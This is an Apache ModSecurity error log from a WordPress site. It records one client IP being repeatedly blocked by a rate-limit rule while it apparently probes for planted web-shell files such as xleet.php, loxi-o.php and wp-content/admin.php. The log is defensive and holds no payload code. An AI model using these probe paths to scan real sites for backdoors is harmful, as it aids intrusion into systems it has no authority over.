[Mon Mar 02 10:59:27.188966 2026] [:error] [pid 31257:tid 31279] [client 172.190.142.176:11175] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/loxi-o.php"] [unique_id "aaT9D_-JFLfishX45N9DEgAAARA"]
[Mon Mar 02 10:59:27.635644 2026] [:error] [pid 31257:tid 31270] [client 172.190.142.176:48183] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/loxi-o.php"] [unique_id "aaT9D_-JFLfishX45N9DFAAAAQc"]
[Mon Mar 02 10:59:28.054629 2026] [:error] [pid 28795:tid 28876] [client 172.190.142.176:59139] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/loxi-o.php"] [unique_id "aaT9ELROd53wZBkdI_exMQAAAI0"]
[Mon Mar 02 10:59:28.475767 2026] [:error] [pid 28908:tid 28920] [client 172.190.142.176:1895] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/loxi-o.php"] [unique_id "aaT9EIqJmC8ih_lQQnAOXwAAAMo"]
[Mon Mar 02 10:59:28.962434 2026] [:error] [pid 23872:tid 23886] [client 172.190.142.176:11160] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaT9EEzkQFuA2qBk8UPSxAAAAYs"]
[Mon Mar 02 10:59:29.394753 2026] [:error] [pid 21575:tid 21595] [client 172.190.142.176:26801] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaT9ESrocdArcJqFfInCrgAAAVA"]
[Mon Mar 02 10:59:29.873917 2026] [:error] [pid 31257:tid 31269] [client 172.190.142.176:35068] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaT9Ef-JFLfishX45N9DFwAAAQY"]
[Mon Mar 02 10:59:30.338163 2026] [:error] [pid 31257:tid 31277] [client 172.190.142.176:32203] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaT9Ev-JFLfishX45N9DGgAAAQ4"]
[Mon Mar 02 10:59:30.802113 2026] [:error] [pid 28793:tid 28824] [client 172.190.142.176:42447] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaT9Eg2_fxBANaHo1f5YtAAAABE"]
[Mon Mar 02 10:59:31.257966 2026] [:error] [pid 28794:tid 28841] [client 172.190.142.176:41612] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaT9E6Vy2qpaelbUob15ZQAAAEU"]
[Mon Mar 02 10:59:31.692486 2026] [:error] [pid 21575:tid 21589] [client 172.190.142.176:1864] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaT9EyrocdArcJqFfInCtAAAAUo"]
[Mon Mar 02 10:59:32.119304 2026] [:error] [pid 31257:tid 31275] [client 172.190.142.176:5056] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaT9FP-JFLfishX45N9DHwAAAQw"]
[Mon Mar 02 10:59:32.542602 2026] [:error] [pid 21575:tid 21581] [client 172.190.142.176:25261] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaT9FCrocdArcJqFfInCtgAAAUI"]
[Mon Mar 02 10:59:33.027454 2026] [:error] [pid 28794:tid 28847] [client 172.190.142.176:1916] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaT9FaVy2qpaelbUob15bQAAAEs"]
[Mon Mar 02 10:59:33.518104 2026] [:error] [pid 28793:tid 28816] [client 172.190.142.176:35132] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaT9FQ2_fxBANaHo1f5YuQAAAAk"]
[Mon Mar 02 10:59:33.938198 2026] [:error] [pid 21575:tid 21583] [client 172.190.142.176:35011] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaT9FSrocdArcJqFfInCwAAAAUQ"]
[Mon Mar 02 10:59:34.424627 2026] [:error] [pid 31257:tid 31283] [client 172.190.142.176:44425] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/olfclass.php"] [unique_id "aaT9Fv-JFLfishX45N9DIwAAARQ"]
[Mon Mar 02 10:59:34.951080 2026] [:error] [pid 31257:tid 31268] [client 172.190.142.176:25228] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/olfclass.php"] [unique_id "aaT9Fv-JFLfishX45N9DJwAAAQU"]
[Mon Mar 02 10:59:35.463061 2026] [:error] [pid 31257:tid 31264] [client 172.190.142.176:26777] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/olfclass.php"] [unique_id "aaT9F_-JFLfishX45N9DKgAAAQE"]
[Mon Mar 02 10:59:35.925618 2026] [:error] [pid 31257:tid 31284] [client 172.190.142.176:1903] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/olfclass.php"] [unique_id "aaT9F_-JFLfishX45N9DLAAAARU"]
[Mon Mar 02 10:59:36.509208 2026] [:error] [pid 21575:tid 21590] [client 172.190.142.176:1898] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aaT9GCrocdArcJqFfInCzQAAAUs"]
[Mon Mar 02 10:59:36.968330 2026] [:error] [pid 31257:tid 31282] [client 172.190.142.176:35104] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aaT9GP-JFLfishX45N9DLgAAARM"]
[Mon Mar 02 10:59:37.417654 2026] [:error] [pid 21575:tid 21597] [client 172.190.142.176:49252] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aaT9GSrocdArcJqFfInC0QAAAVI"]
[Mon Mar 02 10:59:37.920277 2026] [:error] [pid 21575:tid 21599] [client 172.190.142.176:40453] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aaT9GSrocdArcJqFfInC1QAAAVQ"]
[Mon Mar 02 10:59:38.391772 2026] [:error] [pid 28794:tid 28841] [client 172.190.142.176:21107] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaT9GqVy2qpaelbUob15dwAAAEU"]
[Mon Mar 02 10:59:38.814812 2026] [:error] [pid 28793:tid 28814] [client 172.190.142.176:9617] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaT9Gg2_fxBANaHo1f5YwgAAAAc"]
[Mon Mar 02 10:59:39.263178 2026] [:error] [pid 23872:tid 23882] [client 172.190.142.176:21116] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaT9G0zkQFuA2qBk8UPSzQAAAYc"]
[Mon Mar 02 10:59:39.818191 2026] [:error] [pid 28795:tid 28864] [client 172.190.142.176:28895] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaT9G7ROd53wZBkdI_exOAAAAIE"]
[Mon Mar 02 10:59:40.317711 2026] [:error] [pid 28793:tid 28829] [client 172.190.142.176:35672] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aaT9HA2_fxBANaHo1f5YwwAAABY"]
[Mon Mar 02 10:59:40.744499 2026] [:error] [pid 28794:tid 28838] [client 172.190.142.176:20550] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aaT9HKVy2qpaelbUob15ewAAAEI"]
[Mon Mar 02 10:59:41.187718 2026] [:error] [pid 31257:tid 31264] [client 172.190.142.176:27406] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aaT9Hf-JFLfishX45N9DNwAAAQE"]
[Mon Mar 02 10:59:41.610498 2026] [:error] [pid 21575:tid 21594] [client 172.190.142.176:45830] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aaT9HSrocdArcJqFfInC3AAAAU8"]
[Mon Mar 02 10:59:42.099902 2026] [:error] [pid 23872:tid 23876] [client 172.190.142.176:40458] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/X57.php"] [unique_id "aaT9HkzkQFuA2qBk8UPS2AAAAYE"]
[Mon Mar 02 10:59:42.551731 2026] [:error] [pid 23872:tid 23888] [client 172.190.142.176:61836] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/X57.php"] [unique_id "aaT9HkzkQFuA2qBk8UPS3QAAAY0"]
[Mon Mar 02 10:59:43.162994 2026] [:error] [pid 31257:tid 31277] [client 172.190.142.176:45871] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/X57.php"] [unique_id "aaT9H_-JFLfishX45N9DSgAAAQ4"]
[Mon Mar 02 10:59:43.646206 2026] [:error] [pid 28794:tid 28836] [client 172.190.142.176:61857] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/X57.php"] [unique_id "aaT9H6Vy2qpaelbUob15fgAAAEA"]
[Mon Mar 02 10:59:44.321025 2026] [:error] [pid 31257:tid 31266] [client 172.190.142.176:41037] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpver.php"] [unique_id "aaT9IP-JFLfishX45N9DWQAAAQM"]
[Mon Mar 02 10:59:45.000592 2026] [:error] [pid 23872:tid 23890] [client 172.190.142.176:19764] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpver.php"] [unique_id "aaT9IEzkQFuA2qBk8UPS6AAAAY8"]
[Mon Mar 02 10:59:45.685472 2026] [:error] [pid 23872:tid 23888] [client 172.190.142.176:31774] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpver.php"] [unique_id "aaT9IUzkQFuA2qBk8UPS7wAAAY0"]
[Mon Mar 02 10:59:46.242058 2026] [:error] [pid 23872:tid 23877] [client 172.190.142.176:20884] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpver.php"] [unique_id "aaT9IkzkQFuA2qBk8UPS8wAAAYI"]
[Mon Mar 02 10:59:46.871142 2026] [:error] [pid 23872:tid 23893] [client 172.190.142.176:48860] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/hi.php"] [unique_id "aaT9IkzkQFuA2qBk8UPS9gAAAZI"]
[Mon Mar 02 10:59:47.467137 2026] [:error] [pid 31257:tid 31276] [client 172.190.142.176:39708] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/hi.php"] [unique_id "aaT9I_-JFLfishX45N9DeQAAAQ0"]
[Mon Mar 02 10:59:48.059234 2026] [:error] [pid 28795:tid 28877] [client 172.190.142.176:22612] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/hi.php"] [unique_id "aaT9JLROd53wZBkdI_exPQAAAI4"]
[Mon Mar 02 10:59:48.674173 2026] [:error] [pid 28908:tid 28933] [client 172.190.142.176:39685] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/hi.php"] [unique_id "aaT9JIqJmC8ih_lQQnAOgAAAANc"]
[Mon Mar 02 10:59:49.240802 2026] [:error] [pid 28795:tid 28882] [client 172.190.142.176:12879] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aaT9JbROd53wZBkdI_exPgAAAJM"]
[Mon Mar 02 10:59:49.702372 2026] [:error] [pid 28793:tid 28810] [client 172.190.142.176:54525] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aaT9JQ2_fxBANaHo1f5YxgAAAAM"]
[Mon Mar 02 10:59:50.231883 2026] [:error] [pid 28908:tid 28925] [client 172.190.142.176:46113] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aaT9JoqJmC8ih_lQQnAOhQAAAM8"]
[Mon Mar 02 10:59:50.734341 2026] [:error] [pid 21575:tid 21601] [client 172.190.142.176:1110] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aaT9JirocdArcJqFfInDBAAAAVY"]
[Mon Mar 02 10:59:51.216068 2026] [:error] [pid 28908:tid 28923] [client 172.190.142.176:24886] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaT9J4qJmC8ih_lQQnAOhwAAAM0"]
[Mon Mar 02 10:59:51.748963 2026] [:error] [pid 31257:tid 31276] [client 172.190.142.176:24868] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaT9J_-JFLfishX45N9DhwAAAQ0"]
[Mon Mar 02 10:59:57.921611 2026] [:error] [pid 23872:tid 23897] [client 172.190.142.176:25720] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "aaT9LUzkQFuA2qBk8UPTNQAAAZY"]
[Mon Mar 02 10:59:58.613770 2026] [:error] [pid 23872:tid 23891] [client 172.190.142.176:37367] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "aaT9LkzkQFuA2qBk8UPTNwAAAZA"]
[Mon Mar 02 10:59:59.249021 2026] [:error] [pid 28908:tid 28930] [client 172.190.142.176:21774] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "aaT9L4qJmC8ih_lQQnAOmgAAANQ"]
[Mon Mar 02 10:59:59.978261 2026] [:error] [pid 23872:tid 23879] [client 172.190.142.176:38839] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "aaT9L0zkQFuA2qBk8UPTPQAAAYQ"]
[Mon Mar 02 11:00:00.610002 2026] [:error] [pid 28795:tid 28863] [client 172.190.142.176:1303] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaT9MLROd53wZBkdI_exSAAAAIA"]
